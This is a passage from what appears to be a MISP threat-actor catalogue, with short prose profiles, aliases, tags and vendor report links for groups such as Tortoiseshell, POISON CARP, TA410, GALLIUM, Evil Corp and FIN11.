https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

SectorJ04

SectorJ04 is a Russian-based cybercrime group that began operating about five years ago and conducted hacking activities for financial profit using malware such as banking trojans and ransomware against national and industrial sectors located across Europe, North America and West Africa. In 2019, the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia, and is changing the pattern of their attacks from targeted attacks to searching for random victims. This report includes details related to the major hacking targets of the SectorJ04 group in 2019, how those targets were hacked, characteristics of their hacking activities this year and recent cases of the SectorJ04 group's hacking.

The tag is: *misp-galaxy:threat-actor="SectorJ04"*

Tortoiseshell

A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers' customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.

The tag is: *misp-galaxy:threat-actor="Tortoiseshell"*

Tortoiseshell is also known as:

- IMPERIAL KITTEN

Table 6991. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain
https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897

POISON CARP

Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.

The tag is: *misp-galaxy:threat-actor="POISON CARP"*

POISON CARP is also known as:

- Evil Eye
- Red Dev 16
- Earth Empusa

Table 6992. Table References

Links
https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/
https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/
https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html

TA410

Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)

The tag is: *misp-galaxy:threat-actor="TA410"*

Table 6993. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new

Operation Soft Cell

In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.

The tag is: *misp-galaxy:threat-actor="Operation Soft Cell"*

View relationships graph

Operation Soft Cell has relationships with:

- similar: misp-galaxy:threat-actor="GALLIUM" with estimative-language:likelihood-probability="almost-certain"

Table 6994. Table References

Links
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

Operation WizardOpium

We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.

The tag is: *misp-galaxy:threat-actor="Operation WizardOpium"*

Table 6995. Table References

Links
https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/

Calypso

For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.

The tag is: *misp-galaxy:threat-actor="Calypso"*

Calypso is also known as:

- BRONZE MEDLEY

Table 6996. Table References

Links
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

TA2101

Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).

The tag is: *misp-galaxy:threat-actor="TA2101"*

TA2101 is also known as:

- Maze Team
- TWISTED SPIDER
- GOLD VILLAGE

Table 6997. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://adversary.crowdstrike.com/adversary/twisted-spider/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
http://www.secureworks.com/research/threat-profiles/gold-village

APT-C-34

As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360 said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.

The tag is: *misp-galaxy:threat-actor="APT-C-34"*

APT-C-34 is also known as:

- Golden Falcon

Table 6998. Table References

Links
http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html
https://www.zdnet.com/article/extensive-hacking-operation-discovered-in-kazakhstan/

luoxk

Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.

The tag is: *misp-galaxy:threat-actor="luoxk"*

Table 6999. Table References

Links
https://www.systemtek.co.uk/2018/07/luoxk-malware-exploiting-cve-2018-2893/

RAZOR TIGER

An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.

The tag is: *misp-galaxy:threat-actor="RAZOR TIGER"*

RAZOR TIGER is also known as:

- SideWinder
- Rattlesnake
- APT-C-17
- T-APT-04

View relationships graph

RAZOR TIGER has relationships with:

- similar: misp-galaxy:malpedia="SideWinder (Windows)" with estimative-language:likelihood-probability="likely"

Table 7000. Table References

Links
https://securelist.com/apt-trends-report-q1-2018/85280/
https://blog.trendmicro.com/trendlabs-security-intelligence/first-active-attack-exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group/
https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://s.tencent.com/research/report/659.html
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/fireeye-sidewinder-targeted-attack.pdf

https://s.tencent.com/research/report/479.html
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c
https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg

Operation Wocao

Operation Wocao (□□, “W□ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group. This report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.

The tag is: *misp-galaxy:threat-actor="Operation Wocao"*

Table 7001. Table References

Links
https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/

Budminer

Based on the evidence we have presented Symantec attributed the activity involving theDripion malware to the Budminer advanced threat group. While we have not seen newcampaigns using Taidoor malware since 2014, we believe the Budminer group has changedtactics to avoid detection after being outed publicly in security white papers and blogs over thepast few years.

The tag is: *misp-galaxy:threat-actor="Budminer"*

Budminer is also known as:

- Budminer cyberespionage group

Table 7002. Table References

Links
https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan
https://app.box.com/s/xqh458fe1url7mgl072hhd0yxqw3x0jm
https://www.research-collection.ethz.ch/bitstream/handle/20.500.11850/389371/1/Cyber-Reports-2020-01-A-one-sided-Affair.pdf

Attor

Adversary group targeting diplomatic missions and governmental organisations.

The tag is: *misp-galaxy:threat-actor="Attor"*

Table 7003. Table References

Links
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform

APT-C-12

According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China…[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The tag is: *misp-galaxy:threat-actor="APT-C-12"*

APT-C-12 is also known as:

- Sapphire Mushroom
- Blue Mushroom
- NuclearCrisis

Table 7004. Table References

Links
https://mp.weixin.qq.com/s/S-hiGFNC6WXGrkjytAVbpA
https://bitofhex.com/2020/02/10/sapphire-mushroom-lnk-files/

InvisiMole

Adversary group targeting diplomatic missions, governmental and military organisations, mainly in Ukraine.

The tag is: *misp-galaxy:threat-actor="InvisiMole"*

Table 7005. Table References

Links
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/

ANTHROPOID SPIDER

Publicly known as 'EmpireMonkey', ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.

The tag is: *misp-galaxy:threat-actor="ANTHROPOID SPIDER"*

ANTHROPOID SPIDER is also known as:

- Empire Monkey
- CobaltGoblin

Table 7006. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest
https://fortiguard.com/encyclopedia/botnet/7630456

CLOCKWORK SPIDER

Opportunistic actor that installs custom root certificate on victim to support man-in-the-middle network monitoring.

The tag is: *misp-galaxy:threat-actor="CLOCKWORK SPIDER"*

Table 7007. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf

DOPPEL SPIDER

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex. Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER's inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.

The tag is: *misp-galaxy:threat-actor="DOPPEL SPIDER"*

DOPPEL SPIDER is also known as:

- GOLD HERON

Table 7008. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://www.secureworks.com/research/threat-profiles/gold-heron

MONTY SPIDER

Spambots continued to decline in 2019, with MONTY SPIDER's CraP2P spambot falling silent in April.

The tag is: *misp-galaxy:threat-actor="MONTY SPIDER"*

Table 7009. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

NARWHAL SPIDER

NARWHAL SPIDER's operation of Cutwail v2 was limited to country-specific spam campaigns, although late in 2019 there appeared to be an effort to expand by bringing in INDRIK SPIDER as a customer.

The tag is: *misp-galaxy:threat-actor="NARWHAL SPIDER"*

NARWHAL SPIDER is also known as:

- GOLD ESSEX
- TA544

Table 7010. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://www.secureworks.com/research/threat-profiles/gold-essex
https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much

https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

NOCTURNAL SPIDER

Mentioned as MaaS operator in CrowdStrike’s 2020 Report.

The tag is: *misp-galaxy:threat-actor="NOCTURNAL SPIDER"*

Table 7011. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

SCULLY SPIDER

Mentioned as operator of DanaBot in CrowdStrike’s 2020 Report.

The tag is: *misp-galaxy:threat-actor="SCULLY SPIDER"*

Table 7012. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

SMOKY SPIDER

Mentioned as operator of SmokeLoader in CrowdStrike’s 2020 Report.

The tag is: *misp-galaxy:threat-actor="SMOKY SPIDER"*

Table 7013. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

VENOM SPIDER

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM

SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.

The tag is: *misp-galaxy:threat-actor="VENOM SPIDER"*

VENOM SPIDER is also known as:

- badbullzvenom

Table 7014. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

Operation Shadow Force

Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group's first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.

The tag is: *misp-galaxy:threat-actor="Operation Shadow Force"*

Table 7015. Table References

Links
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=1&menu_dist=2&seq=29129
https://mobile.twitter.com/mstoned7/status/1247361687570673664

NOTROBIN

Researchers at FireEye report finding a hacking group (dubbed NOTROBIN) that has been bundling mitigation code for NetScaler servers with its exploits. In effect, the hackers exploit the flaw to get access to the server, kill any existing malware, set up their own backdoor, then block off the vulnerable code from future exploit attempts by mitigation.

The tag is: *misp-galaxy:threat-actor="NOTROBIN"*

Table 7016. Table References

Links
https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/
https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html

ItaDuke

ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. On 2018, an actor named DarkUniverse, which was active between 2009 to 2017, was attributed to this ItaDuke by Kaspersky.

The tag is: *misp-galaxy:threat-actor="ItaDuke"*

ItaDuke is also known as:

- DarkUniverse
- SIG27

Table 7017. Table References

Links
https://securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897/
https://www.fireeye.com/blog/threat-research/2013/02/the-number-of-the-beast.html
https://securelist.com/new-uyghur-and-tibetan-themed-attacks-using-pdf-exploits/35465

Nazar

This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.

The tag is: *misp-galaxy:threat-actor="Nazar"*

Nazar is also known as:

- SIG37

Table 7018. Table References

Links
https://www.epicturla.com/blog/the-lost-nazar

Higaisa

The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.

The tag is: *misp-galaxy:threat-actor="Higaisa"*

Table 7019. Table References

Links
https://s.tencent.com/research/report/836.html
https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/

COBALT JUNO

COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers' discovery of new C2 domains in 2019 suggest the group is still actively performing operations.

The tag is: *misp-galaxy:threat-actor="COBALT JUNO"*

COBALT JUNO is also known as:

- APT-C-38 (QiAnXin)
- SABER LION
- TG-2884 (SCWX CTU)

Table 7020. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-juno

COBALT KATANA

COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including

Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.

The tag is: *misp-galaxy:threat-actor="COBALT KATANA"*

COBALT KATANA is also known as:

- Hive0081 (IBM)
- SectorD01 (NHSC)
- xHunt campaign (Palo Alto)
- Hunter Serpens

Table 7021. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-katana
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/

Dark Basin

Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries. Dark Basin extensively targeted American nonprofits, including organisations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades. We also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy, previously reported by the Electronic Frontier Foundation. We link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entitie

The tag is: *misp-galaxy:threat-actor="Dark Basin"*

Table 7022. Table References

Links
https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/
https://github.com/citizenlab/malware-indicators/tree/master/202006_DarkBasin

GALLIUM

GALLIUM, is a threat actor believed to be targeting telecommunication providers over the world, mostly South-East Asia, Europe and Africa. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss.

The tag is: *misp-galaxy:threat-actor="GALLIUM"*

GALLIUM is also known as:

- Red Dev 4
- Alloy Taurus

View relationships graph

GALLIUM has relationships with:

- similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="almost-certain"

Table 7023. Table References

Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.youtube.com/watch?v=fBFm2fiEPTg
https://troopers.de/troopers22/talks/7cv8pz/
https://unit42.paloaltonetworks.com/atoms/alloytaurus/

Evilnum

ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group's targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.

The tag is: *misp-galaxy:threat-actor="Evilnum"*

Evilnum is also known as:

- DeathStalker

Table 7024. Table References

Links
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/

Fox Kitten

PIONEER KITTEN is an Iran-based adversary that has been active since at least 2017 and has a suspected nexus to the Iranian government. This adversary appears to be primarily focused on gaining and maintaining access to entities possessing sensitive information of likely intelligence interest to the Iranian government. According to DRAGOS, they also targeted ICS-related entities using known VPN vulnerabilities. They are widely known to use open source penetration testing tools for reconnaissance and to establish encrypted communications.

The tag is: *misp-galaxy:threat-actor="Fox Kitten"*

Fox Kitten is also known as:

- PIONEER KITTEN
- PARISITE
- UNC757

Table 7025. Table References

Links
https://youtu.be/pBDu8EGWRC4?t=2492
https://www.dragos.com/threat/parisite
https://www.dragos.com/wp-content/uploads/The-ICS-Threat-Landscape.pdf
https://www.dragos.com/wp-content/uploads/NA-EL-Threat-Perspective-2019.pdf
https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf
https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices
https://www.crowdstrike.com/blog/who-is-pioneer-kitten
https://www.zdnet.com/article/iranian-hackers-are-selling-access-to-compromised-companies-on-an-underground-forum
https://us-cert.cisa.gov/ncas/alerts/aa20-259a

XDSpy

Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.

The tag is: *misp-galaxy:threat-actor="XDSpy"*

Table 7026. Table References

Links

https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/
https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf
https://github.com/eset/malware-ioc/tree/master/xdspy/

Evil Corp

Evil Corp is an internaltional cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations. Responsible for stealing over $100M from businesses and consumers. The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.

The tag is: *misp-galaxy:threat-actor="Evil Corp"*

Evil Corp is also known as:

- GOLD DRAKE

Table 7027. Table References

Links
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://en.wikipedia.org/wiki/Maksim_Yakubets
https://www.bbc.com/news/world-us-canada-53195749
http://www.secureworks.com/research/threat-profiles/gold-drake
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

TRACER KITTEN

In April 2020, Crowstrike Falcon OverWatch discovered Iran-based adversary TRACER KITTEN conducting malicious interactive activity against multiple hosts at a telecommunications company in the Europe, Middle East and Africa (EMEA) region. The actor was found operating under valid user accounts, using custom backdoors in combination with SSH tunnels for C2. The adversary leveraged their foothold to conduct a variety of reconnaissance activities, undertake credential harvesting and prepare for data exfiltration.

The tag is: *misp-galaxy:threat-actor="TRACER KITTEN"*

Table 7028. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf

FIN11

FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we've only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group's shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505's early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors' use of criminal service providers. Like most financially motivated actors, FIN11 doesn't operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

The tag is: *misp-galaxy:threat-actor="FIN11"*

FIN11 is also known as:

- TEMP.Warlock
- UNC902

Table 7029. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html
https://www.fireeye.com/blog/threat-research/2020/10/fin11-email-campaigns-precursor-for-ransomware-data-theft.html
https://www.brighttalk.com/webcast/7451/447347

UNC1878

UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.

The tag is: *misp-galaxy:threat-actor="UNC1878"*

Table 7030. Table References

Links
https://twitter.com/anthomsec/status/1321865315513520128
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456
https://www.youtube.com/watch?v=CgDtm05qApE
https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html

Red Charon

Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they’ve seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.

The tag is: *misp-galaxy:threat-actor="Red Charon"*

Table 7031. Table References

Links
